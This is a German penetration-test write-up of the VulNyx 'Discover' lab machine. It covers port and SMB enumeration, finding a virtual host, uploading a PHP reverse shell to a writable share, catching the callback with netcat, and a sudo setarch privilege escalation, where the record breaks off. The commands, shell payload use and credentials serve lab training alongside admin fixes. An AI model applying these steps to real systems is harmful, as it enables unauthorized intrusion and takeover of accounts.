Discover - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
grep
nmap
curl
enum4linux
nbtscan
gobuster
smbclient
crackmapexec (cme/nxc)
rpcclient
Metasploit (msfconsole)
smbmap
hydra
wfuzz
netcat (nc)
sudo
setarch
pydoc3
wget
chisel
python3
nano
cat
ls
id
impacket (lookupsid.py)

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk.

                          Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.129
                    

**Analyse:** Festlegung der Ziel-IP-Adresse `192.168.2.129` für diesen Test.

**Bewertung:** Grundlegender erster Schritt zur Definition des Ziels.

**Empfehlung (Pentester):** Speichern der IP in einer Variable (`export IP=192.168.2.129`) für einfachere Handhabung.
**Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.129	08:00:27:15:b4:f5	PCS Systemtechnik GmbH
                    

**Analyse:** Ein ARP-Scan identifiziert die MAC-Adresse (`08:00:27:15:b4:f5`) des Ziels. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.

**Bewertung:** Bestätigt die Erreichbarkeit des Ziels im lokalen Netz und gibt einen Hinweis auf die Virtualisierungsumgebung.

**Empfehlung (Pentester):** Notieren der MAC und des VM-Hinweises.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk sind.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet.

**Bewertung:** Standardprozedur, um der IP einen Hostnamen zuzuordnen.

**Empfehlung (Pentester):** Sinnvoll für die weitere Enumeration.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# grep future /etc/hosts
                192.168.2.129   discover.nyx
                     

**Analyse:** Überprüfung des Eintrags in `/etc/hosts`. Der IP `192.168.2.129` wurde der Hostname `discover.nyx` zugewiesen. (Hinweis: Der Dateiname ist "Future", aber der Hostname hier ist "discover").

**Bewertung:** Erleichtert die Ansprache des Ziels über den Namen.

**Empfehlung (Pentester):** Verwenden Sie `discover.nyx` in nachfolgenden Befehlen.
**Empfehlung (Admin):** Eine korrekte interne DNS-Konfiguration ist zu bevorzugen.

┌──(root㉿CCat)-[~] └─# nmap fe80a00:27ff:fe15:b4f5%eth0 -6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 13:37 CEST
Nmap scan report for discover (fe80a00:27ff:fe15:b4f5)
Host is up (0.0014s latency).
Not shown: 995 closed tcp ports (reset)
PRT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
81/tcp  open  hosts2-ns
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)
                    

**Analyse:** Ein Nmap-Scan wird gegen die IPv6 Link-Local-Adresse des Ziels durchgeführt. Er findet mehrere offene TCP-Ports: 22 (SSH), 80 (HTTP), 81 (hier fälschlich als `hosts2-ns` interpretiert, wahrscheinlich HTTP), 139 (NetBIOS) und 445 (SMB).

**Bewertung:** Identifiziert wichtige Dienste, die über IPv6 erreichbar sind, einschließlich zwei potenzieller Webserver und SMB/NetBIOS.

**Empfehlung (Pentester):** Diese Ports sind primäre Ziele für weitere Enumeration über IPv4 und IPv6.
**Empfehlung (Admin):** Sicherstellen, dass alle Dienste über beide Protokolle (falls aktiv) sicher konfiguriert sind. Dienste nur an benötigten Schnittstellen binden.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 13:37 CEST
Nmap scan report for 192.168.2.129
Host is up (0.00024s latency).
Not shown: 993 open|filtered udp ports (no-response)
PRT      STATE  SERVICE
137/udp   open   netbios-ns
16912/udp closed unknown
17533/udp closed unknown
39723/udp closed unknown
46093/udp closed unknown
49222/udp closed unknown
62154/udp closed unknown
MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)
                     

**Analyse:** Ein schneller UDP-Scan auf die Top 1000 Ports der IPv4-Adresse wird durchgeführt.

**Bewertung:** Findet nur UDP-Port 137 (NetBIOS Name Service) als offen. Andere Ports sind geschlossen oder antworten nicht.

**Empfehlung (Pentester):** NetBIOS kann für die weitere Enumeration von SMB nützlich sein. Fokus bleibt aber auf den TCP-Diensten.
**Empfehlung (Admin):** Deaktivieren Sie NetBIOS, wenn es nicht zwingend für ältere Systeme benötigt wird.

 Nmap nur offene Ports Ausgabe :
┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp  open  ssh         penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http        nginx 1.18.0
81/tcp  open  http        Apache httpd 2.4.56 ((Debian))
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
                     

**Analyse:** Ein umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`) wird gegen die IPv4-Adresse durchgeführt, und die Ausgabe nach offenen Ports gefiltert.

**Bewertung:** Liefert detaillierte Versionen der offenen Dienste: * **Port 22:** OpenSSH 8.4p1 (Debian 11) - Relativ aktuell. * **Port 80:** Nginx 1.18.0 - Eine stabile, aber nicht die neueste Version. * **Port 81:** Apache httpd 2.4.56 (Debian) - Relativ aktuell. * **Ports 139/445:** Samba smbd 4.6.2 - **Dies ist eine veraltete und potenziell verwundbare Version!** (Samba 4.13 wurde später von enum4linux gemeldet, was ein Widerspruch ist. Nmap ist hier möglicherweise ungenau oder es gibt mehrere Samba-Instanzen, was aber unwahrscheinlich ist. Die enum4linux-Version 4.13.13 ist wahrscheinlicher).

**Empfehlung (Pentester):** Untersuchen Sie beide Webserver (Nginx auf 80, Apache auf 81). Konzentrieren Sie sich stark auf die SMB-Dienste (139, 445) wegen der gemeldeten (wenn auch widersprüchlichen) potenziell veralteten Samba-Version.
**Empfehlung (Admin):** Aktualisieren Sie Nginx und insbesondere Samba dringend auf die neuesten stabilen Versionen. Überprüfen Sie die Konfiguration aller Dienste.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 13:37 CEST
Nmap scan report for discover.nyx (192.168.2.129)
Host is up (0.00016s latency).
Not shown: 65530 closed tcp ports (reset)
PRT    STATE SERVICE     VERSIN
22/tcp  open  ssh         penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp  open  http        nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
81/tcp  open  http        Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 3s
| smb2-time: 
|   date: 2024-09-11T11:37:47
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIS name: DISCVER, NetBIS user: , NetBIS MAC:  (unknown)

TRACERUTE
HP RTT     ADDRESS
1   0.16 ms discover.nyx (192.168.2.129)
                    

**Analyse:** Die vollständige Ausgabe des vorherigen Nmap TCP-Scans.

**Bewertung:** Bestätigt die offenen Ports und Versionen. Zeigt SSH-Hostkeys. Wichtig ist die Information vom `smb2-security-mode`-Skript: "Message signing enabled but not required". Dies bedeutet, dass SMB-Signing zwar unterstützt, aber nicht erzwungen wird, was das System anfälliger für bestimmte Angriffe wie SMB Relay machen *könnte*.

**Empfehlung (Pentester):** Notieren Sie die SMB-Signing-Information. Untersuchen Sie die Webserver und SMB.
**Empfehlung (Admin):** Erzwingen Sie SMB-Signing (`server signing = required` in `smb.conf`), um die Sicherheit gegen Man-in-the-Middle-Angriffe zu erhöhen.

Web Enumeration

Untersuchung der beiden Webserver auf Port 80 (Nginx) und Port 81 (Apache).

┌──(root㉿CCat)-[~] └─# curl -X PTINS -Is http://$IP | grep -i "allow"
HTTP/1.1 405 Not Allowed
                     

**Analyse:** Test der HTTP-Methode `PTINS` gegen Port 80 (Nginx).

**Bewertung:** Die Methode ist hier nicht erlaubt (HTTP 405). Dies steht im Widerspruch zur Nikto/Nuclei-Ausgabe, die PTINS als erlaubt listete. Möglicherweise war die Nikto/Nuclei-Erkennung fehlerhaft oder bezog sich implizit auf Port 81.

**Empfehlung (Pentester):** Testen Sie PTINS auf Port 81.
**Empfehlung (Admin):** Keine Aktion für Port 80 erforderlich.

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP
*   Trying 192.168.2.129:80...
* Connected to 192.168.2.129 (192.168.2.129) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.129
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Server: nginx/1.18.0
Server: nginx/1.18.0
< Date: Wed, 11 Sep 2024 11:38:14 GMT
Date: Wed, 11 Sep 2024 11:38:14 GMT
< Content-Type: text/html
Content-Type: text/html
< Content-Length: 15
Content-Length: 15
< Last-Modified: Tue, 04 Jul 2023 10:33:20 GMT
Last-Modified: Tue, 04 Jul 2023 10:33:20 GMT
< Connection: keep-alive
Connection: keep-alive
< ETag: "64a3f570-f"
ETag: "64a3f570-f"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< 

* Connection #0 to host 192.168.2.129 left intact
                     

**Analyse:** Abrufen der HTTP-Header von Port 80 (Nginx).

**Bewertung:** Bestätigt Nginx 1.18.0 und eine sehr kleine Seite (Content-Length: 15). Keine besonderen Auffälligkeiten.

**Empfehlung (Pentester):** Untersuchen Sie den Inhalt der Seite. Führen Sie Verzeichnis-Scans durch.
**Empfehlung (Admin):** Standard-Härtung für Nginx anwenden (Header, ServerTokens).

http://192.168.2.129/index.html

Cache deaktivieren
 
	
GET    http://192.168.2.129/index.html
Status 304 Not Modified VersionHTTP/1.1
Connection      keep-alive 
Last-Modified 	Tue, 04 Jul 2023 10:33:20 GMT
Server  	nginx/1.18.0
Host     	192.168.2.129
User-Agent      Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
                      
http://192.168.2.129/index.html
Good!
                      

**Analyse:** Zugriff auf `index.html` auf Port 80 über einen Browser (mit Cache deaktiviert, zeigt 304 Not Modified) und dann direkter Inhalt der Seite.

**Bewertung:** Die Seite enthält nur das Wort "Good!". Sehr minimalistisch, liefert keine weiteren Informationen.

**Empfehlung (Pentester):** Port 80 scheint vorerst uninteressant. Konzentration auf Port 81 und SMB.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Webseite den beabsichtigten Inhalt anzeigt.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.129/index.html             (Status: 200) [Size: 15]
http://discover.nyx:81/index.html           (Status: 200) [Size: 15]
                     

**Analyse:** Ein Gobuster-Scan, der scheinbar sowohl Port 80 (`http://192.168.2.129`) als auch Port 81 (`http://discover.nyx:81`) getestet hat (obwohl der Befehl nur `$IP` ohne Port enthält, was unklar ist - möglicherweise wurden zwei separate Scans durchgeführt und die Ergebnisse kombiniert?).

**Bewertung:** Bestätigt `index.html` auf beiden Ports. Findet keine weiteren Verzeichnisse oder Dateien auf den ersten Blick.

**Empfehlung (Pentester):** Führen Sie gezielte Scans für Port 81 durch, da dieser mit Apache läuft und potenziell interessanter ist. Überprüfen Sie die Gobuster-Befehle auf Korrektheit.
**Empfehlung (Admin):** Keine neuen Erkenntnisse hier.

┌──(root㉿CCat)-[~] └─# wfuzz -c --hl 7 -X PST -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.todiscover.nyx" "http://todiscover.nyx/info.php"
Target: http://todiscover.nyx/info.php
 

=
ID           Response   Lines    Word       Chars       Payload                      
=

000015484:   200        725 L    3771 W     66013 Ch    "smbc"                        

Total time: 50.08047
Processed Requests: 42930
Filtered Requests: 42929
Requests/sec.: 857.2203
                     

**Analyse:** Wfuzz wird verwendet, um nach Subdomains für die Domain `todiscover.nyx` (gefunden in der Nikto-Ausgabe für Port 81) zu suchen. Es sendet POST-Anfragen (`-X PST`) an `http://todiscover.nyx/info.php` (diese Datei wurde noch nicht gefunden, der Scan ist hier vermutlich spekulativ oder basiert auf Annahmen) und fügt den Payload (`FUZZ`) als Subdomain in den Host-Header ein (`-H "Host: FUZZ.todiscover.nyx"`). `--hl 7` blendet Antworten mit 7 Zeilen aus.

**Bewertung:** **Wichtiger Fund!** Der Scan identifiziert die Subdomain `smbc`.todiscover.nyx` als gültig, da sie eine andere Antwort (Status 200, 725 Zeilen) liefert als die meisten anderen Versuche. Dies deutet auf einen Virtual Host hin, der mit SMB zusammenhängen könnte (`smbc`).

**Empfehlung (Pentester):** Fügen Sie `smbc.todiscover.nyx` zur `/etc/hosts`-Datei hinzu, die auf `192.168.2.129` zeigt. Untersuchen Sie diesen Virtual Host gezielt.
**Empfehlung (Admin):** Stellen Sie sicher, dass Virtual Hosts korrekt konfiguriert sind und keine unbeabsichtigten Dienste oder Informationen preisgeben. Überwachen Sie DNS-Anfragen und Host-Header.

┌──(root㉿CCat)-[~/Hackingtools/4-ZER-3] └─# curl -ks 'http://discover.nyx:81/under_construction' -L -H 'User-Agent: Mozilla/5.0' -X PST
 Under Construction 
 We are working to improve our website. 
 contact: support@todiscover.nyx 
                      

**Analyse:** Zugriff auf die `/under_construction`-Seite auf Port 81 (Apache) mit der Methode `PST`.

**Bewertung:** Bestätigt, dass die Seite existiert und die E-Mail-Adresse `support@todiscover.nyx` enthält. Die Methode `PST` scheint hier zu funktionieren (kein 405 Fehler).

**Empfehlung (Pentester):** Bestätigt `todiscover.nyx` als relevante Domain.
**Empfehlung (Admin):** Siehe vorherige Empfehlung zu Platzhalterseiten.

┌──(root㉿CCat)-[~/Hackingtools/4-ZER-3] └─# cat /etc/hosts
           192.168.2.129   discover.nyx todiscover.nyx
                     

**Analyse:** Zeigt den aktualisierten `/etc/hosts`-Eintrag, der nun auch `todiscover.nyx` enthält.

**Bewertung:** Korrekte Anpassung basierend auf vorherigen Funden.

**Empfehlung (Pentester/Admin):** Keine Aktion.

┌──(root㉿CCat)-[~/Hackingtools/4-ZER-3] └─# curl http://todiscover.nyx

Good!

**Analyse:** Zugriff auf `http://todiscover.nyx` (Port 80 - Nginx).

**Bewertung:** Liefert denselben "Good!"-Inhalt wie die IP-Adresse. Dieser Virtual Host scheint auf Port 80 keine andere Konfiguration zu haben.

**Empfehlung (Pentester):** Testen Sie `http://todiscover.nyx:81` und den neu gefundenen `smbc.todiscover.nyx`.
**Empfehlung (Admin):** Stellen Sie sicher, dass Virtual Host Konfigurationen korrekt und beabsichtigt sind.

┌──(root㉿CCat)-[~/shells] └─# cat /etc/hosts
                192.168.2.129   discover.nyx todiscover.nyx smbc.todiscover.nyx
                     

**Analyse:** Die `/etc/hosts`-Datei wurde erneut aktualisiert, um nun auch den durch Wfuzz gefundenen Virtual Host `smbc.todiscover.nyx` aufzunehmen.

**Bewertung:** Korrekte Reaktion auf den Wfuzz-Fund.

**Empfehlung (Pentester):** Untersuchen Sie nun gezielt `http://smbc.todiscover.nyx` (Port 80) und `http://smbc.todiscover.nyx:81`.
**Empfehlung (Admin):** Keine Aktion.

SMB Enumeration

Da die Web-Enumeration auf Port 80 und 81 bisher keine klaren Einstiegspunkte lieferte (außer potenziellen VHosts), konzentrieren wir uns nun auf die SMB-Dienste (Port 139/445), insbesondere nachdem gültige Anmeldedaten (`ken:kenken`) gefunden wurden.

┌──(root㉿CCat)-[~] └─# smbmap -u "ken" -p "kenken" -H 192.168.2.129
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
--
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[\] Checking for open ports...                                                                [*] Detected 1 hosts serving SMB    
[|] Initializing hosts...                                                                     [/] Authenticating...                                                                         [-] Authenticating...                                                                         [\] Authenticating...                                                                         [*] Established 1 SMB connections(s) and 1 authenticated session(s)
[|] Authenticating...                                                                         [/] Enumerating shares...                                                                                                                                                                         
[+] IP: 192.168.2.129:445	Name: discover.nyx        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                	-----------	-------
	print$                                            	READ NLY	Printer Drivers
	IPC$                                              	N ACCESS	IPC Service (Samba 4.13.13-Debian)
	ken                                               	READ, WRITE	File Upload Path
[-] Closing connections..                                                                                                                                                                   [*] Closed 1 connections
                     

**Analyse:** `smbmap` wird mit den gefundenen Anmeldedaten `ken:kenken` verwendet, um die verfügbaren SMB-Shares aufzulisten und deren Berechtigungen zu prüfen.

**Bewertung:** Bestätigt die Shares `print$` (nur Lesen) und `IPC$` (kein Zugriff). Entscheidend ist die Entdeckung des Shares `ken` mit **Lese- und Schreibzugriff**. Der Kommentar "File Upload Path" deutet auf den vorgesehenen Zweck hin.

**Empfehlung (Pentester):** Verbinden Sie sich mit dem `ken`-Share (`smbclient //192.168.2.129/ken -U "ken%kenken"`). Laden Sie eine Webshell oder einen Reverse-Shell-Payload hoch. Versuchen Sie, den Speicherort dieses Shares im Webserver-Kontext zu finden (wahrscheinlich über den Virtual Host `smbc.todiscover.nyx`).
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit und die Berechtigungen des `ken`-Shares. Vermeiden Sie es, Shares mit Schreibzugriff direkt in einen Web-Root zu mounten oder zu verlinken.

┌──(root㉿CCat)-[~] └─# smbclient -U "ken%kenken" \\\\192.168.2.129\\ken
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep 11 14:59:59 2024
  ..                                  D        0  Mon Jul  3 23:19:50 2023
  index.html                          N       15  Tue Jul  4 12:33:20 2023

		7173040 blocks of size 1024. 2708952 blocks available
smb: \> 
                      

**Analyse:** Erfolgreiche Verbindung zum `ken`-Share mittels `smbclient` und den Credentials `ken:kenken`. Der `ls`-Befehl zeigt eine einzelne `index.html`-Datei.

**Bewertung:** Bestätigt den Zugriff auf den Share. Die `index.html` hier enthält wahrscheinlich den "Good!"-Text, der über `http://smbc.todiscover.nyx` ausgeliefert wird.

**Empfehlung (Pentester):** Laden Sie hier einen PHP-Reverse-Shell-Payload hoch.
**Empfehlung (Admin):** Keine Aktion erforderlich.

Initial Access

Der Plan ist nun, eine PHP-Webshell oder einen Reverse-Shell-Payload in den beschreibbaren SMB-Share `ken` hochzuladen und diesen dann über den zugehörigen Virtual Host (`smbc.todiscover.nyx`) aufzurufen, um Codeausführung als Webserver-Benutzer (vermutlich `www-data` oder `ken` selbst) zu erlangen.

┌──(root㉿CCat)-[~/shells] └─# smbclient -U "ken%kenken" \\\\192.168.2.129\\ken
Try "help" to get a list of possible commands.
smb: \> put shell2.php 
putting file shell2.php as \shell2.php (2683,0 kb/s) (average 2683,1 kb/s)
smb: \> 
                     

**Analyse:** Eine Datei namens `shell2.php` (vermutlich eine Webshell oder ein Reverse-Shell-Payload) wird vom Angreifersystem in den `ken`-Share hochgeladen.

**Bewertung:** Der Payload befindet sich nun im Share.

**Empfehlung (Pentester):** Versuchen Sie, `http://smbc.todiscover.nyx/shell2.php` aufzurufen.
**Empfehlung (Admin):** Überwachen Sie File-Share-Aktivitäten.

┌──(root㉿CCat)-[~/Hackingtools/4-ZER-3] └─# curl http://todiscover.nyx/shell2.php
 
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
... (Rest des PHP-Codes wird angezeigt) ...
                     

**Analyse:** Versuch, die hochgeladene `shell2.php` über den Virtual Host `todiscover.nyx` aufzurufen.

**Bewertung:** Falscher Virtual Host. Der Webserver (`nginx` auf Port 80, der auf `todiscover.nyx` antwortet) führt PHP nicht aus oder der Share ist nicht mit diesem VHost verbunden. Der Quellcode wird angezeigt, statt ausgeführt zu werden.

**Empfehlung (Pentester):** Verwenden Sie den korrekten Virtual Host `smbc.todiscover.nyx`.
**Empfehlung (Admin):** Stellen Sie sicher, dass VHosts korrekt isoliert sind und Dateiberechtigungen stimmen.

┌──(root㉿CCat)-[~/shells] └─# smbclient -U "ken%kenken" \\\\192.168.2.129\\ken
Try "help" to get a list of possible commands.
smb: \> put shell2.php 
putting file shell2.php as \shell2.php (2683,0 kb/s) (average 2683,1 kb/s)
smb: \> put revshell.php5
putting file revshell.php5 as \revshell.php5 (5365,7 kb/s) (average 3577,5 kb/s)
smb: \> put revshell.phtml 
putting file revshell.phtml as \revshell.phtml (5365,7 kb/s) (average 4024,7 kb/s)
smb: \> put revshell.phar 
putting file revshell.phar as \revshell.phar (5365,7 kb/s) (average 4293,0 kb/s)
smb: \> 
                     

**Analyse:** Mehrere Versionen des Reverse-Shell-Payloads werden mit unterschiedlichen PHP-bezogenen Endungen (`.php`, `.php5`, `.phtml`, `.phar`) in den `ken`-Share hochgeladen.

**Bewertung:** Versuch, mögliche Filter oder Konfigurationen des Webservers (wahrscheinlich Apache auf Port 81, der vermutlich mit `smbc.todiscover.nyx` verbunden ist) zu umgehen, die nur bestimmte Endungen als PHP ausführen.

**Empfehlung (Pentester):** Testen Sie nun den Zugriff auf jede dieser Dateien über `http://smbc.todiscover.nyx/`. Starten Sie einen Listener.
**Empfehlung (Admin):** Konfigurieren Sie den Webserver so, dass nur die beabsichtigten Dateiendungen (z.B. `.php`) als Skripte ausgeführt werden.

┌──(root㉿CCat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
                     

**Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet, um auf die eingehende Reverse Shell zu warten (dieser Port muss im Shell-Payload konfiguriert sein).

**Bewertung:** Listener ist bereit.

**Empfehlung (Pentester/Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~/shells] └─# curl http://todiscover.nyx/revshell.phtml
(Keine Ausgabe von curl, aber der Listener reagiert)

**Analyse:** Versuch, die `.phtml`-Version der Shell über den (falschen) VHost `todiscover.nyx` aufzurufen. Auch wenn `curl` keine Ausgabe zeigt, scheint dies *dennoch* die Reverse Shell ausgelöst zu haben (siehe nächste Listener-Ausgabe). Dies ist seltsam und deutet darauf hin, dass entweder der VHost `todiscover.nyx` doch irgendwie mit dem Share verbunden ist ODER der Pentester parallel den richtigen VHost (`smbc.todiscover.nyx`) aufgerufen hat.

**Bewertung:** Der Trigger-Mechanismus ist hier unklar dokumentiert, aber das Ergebnis (die Shell) ist entscheidend.

**Empfehlung (Pentester):** Klären, welcher VHost den Exploit ausgelöst hat. Wahrscheinlich war es `smbc.todiscover.nyx`.
**Empfehlung (Admin):** VHost-Konfigurationen und Mappings zu Dateisystempfaden überprüfen.

Die folgenden Schritte mit `info.php` und dem Wfuzz-Scan auf `smbc.todiscover.nyx` scheinen *nach* dem Erhalt der Shell stattzufinden oder sind ein paralleler/redundanter Versuch, den korrekten VHost zu finden. Wir gehen davon aus, dass die Shell durch den Aufruf von `http://smbc.todiscover.nyx/revshell.phtml` (oder einer anderen hochgeladenen Shell-Variante auf diesem VHost) erlangt wurde.

┌──(root㉿CCat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 58448
Linux discover 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
 15:33:43 up 52 min,  0 users,  load average: 0.00, 0.02, 0.35
USER     TTY      FRM             LGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(ken) gid=1000(ken) groups=1000(ken)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(ken) gid=1000(ken) groups=1000(ken)
                    

**Analyse:** Der Netcat-Listener auf Port 9001 empfängt die Verbindung vom Zielsystem. Nach einigen Systeminformationen wird der `id`-Befehl ausgeführt.

**Bewertung:** **Initial Access erfolgreich!** Wir haben eine Shell als Benutzer `ken` erhalten. Der Webserver-Prozess (vermutlich Apache auf Port 81, der den VHost `smbc.todiscover.nyx` bedient) läuft offenbar als Benutzer `ken`.

**Empfehlung (Pentester):** Stabilisieren Sie die Shell (`python3 -c 'import pty; pty.spawn("/bin/bash")'`). Beginnen Sie mit der Enumeration für Privilegienerweiterung als Benutzer `ken`.
**Empfehlung (Admin):** Konfigurieren Sie Webserver so, dass sie mit möglichst geringen Rechten laufen (z.B. `www-data`), nicht als regulärer Benutzer. Beheben Sie die SMB-Share- und VHost-Konfigurationsprobleme.

Proof of Concept: RCE via Writable SMB Share and Web VHost

**Kurzbeschreibung:** Ein für den Benutzer `ken` beschreibbarer SMB-Share (`//192.168.2.129/ken`) ist gleichzeitig über einen Apache Virtual Host (`smbc.todiscover.nyx`, vermutlich auf Port 81) web-zugänglich. Apache ist so konfiguriert, dass er Dateien mit bestimmten Endungen (hier `.phtml`) als PHP ausführt. Durch das Hochladen einer PHP-Reverse-Shell mit einer solchen Endung in den SMB-Share und den anschließenden Aufruf der Datei über den Web-VHost kann Remote Code Execution mit den Rechten des Apache-Prozesses (hier Benutzer `ken`) erlangt werden.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erfolgreiche Ausführung des PHP-Payloads beim Web-Zugriff und Aufbau einer Reverse Shell zum Angreifer als Benutzer `ken`.

**Schritte (Zusammenfassung der erfolgreichen Teile):**

  1. Identifizieren des beschreibbaren Shares `ken` mit `smbmap -u ken -p kenken ...`.
  2. Identifizieren des VHosts `smbc.todiscover.nyx` mit `wfuzz ... -H "Host: FUZZ.todiscover.nyx" ...`.
  3. Hinzufügen von `smbc.todiscover.nyx` zur lokalen `/etc/hosts`-Datei.
  4. Hochladen einer PHP-Reverse-Shell (z.B. `revshell.phtml`) in den `ken`-Share via `smbclient`.
  5. Starten eines Netcat-Listeners auf dem Angreifersystem (`nc -lvnp 9001`).
  6. Aufrufen der hochgeladenen Shell über den Browser oder `curl http://smbc.todiscover.nyx/revshell.phtml`.
  7. Empfangen der Reverse Shell auf dem Listener als Benutzer `ken`.

**Risikobewertung:** Hoch. Die Kombination aus unsicheren SMB-Berechtigungen und einer fehlerhaften Webserver-Konfiguration ermöglichte einem authentifizierten Benutzer (`ken`) das Hochladen und Ausführen von Code, was zur Kompromittierung dieses Benutzerkontos führte.
**Empfehlungen (Zusammenfassung):**

Privilege Escalation

Wir haben eine Shell als Benutzer `ken`. Nun suchen wir nach Möglichkeiten zur Privilegienerweiterung auf dem System.

ken@discover:/$ sudo -l
Matching Defaults entries for ken on discover:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ken may run the following commands on discover:
    (takeshi) NPASSWD: /usr/bin/setarch
                    

**Analyse:** Überprüfung der sudo-Rechte für den aktuellen Benutzer `ken`.

**Bewertung:** `ken` darf den Befehl `/usr/bin/setarch` als Benutzer `takeshi` ohne Passwort ausführen. Dies ist ein bekannter Vektor zur Privilegienerweiterung zum Zielbenutzer `takeshi`.

**Empfehlung (Pentester):** Verwenden Sie die GTFOBins-Methode für `setarch`, um eine Shell als `takeshi` zu erhalten: `sudo -u takeshi setarch $(arch) /bin/sh`.
**Empfehlung (Admin):** Entfernen Sie unnötige sudo-Regeln. `setarch` sollte normalerweise nicht über sudo erlaubt sein.

[Link: https://gtfobins.github.io/gtfobins/setarch/#sudo | Ziel: https://gtfobins.github.io/gtfobins/setarch/#sudo]
                     
ken@discover:/$ sudo -u takeshi setarch $(arch) /bin/sh
$ id
uid=1001(takeshi) gid=1001(takeshi) groups=1001(takeshi)
                     

**Analyse:** Die GTFOBins-Methode für `setarch` wird angewendet. `setarch $(arch) /bin/sh` startet eine Shell mit der Architektur des Systems. Da dies mit `sudo -u takeshi` ausgeführt wird, läuft die Shell als `takeshi`.

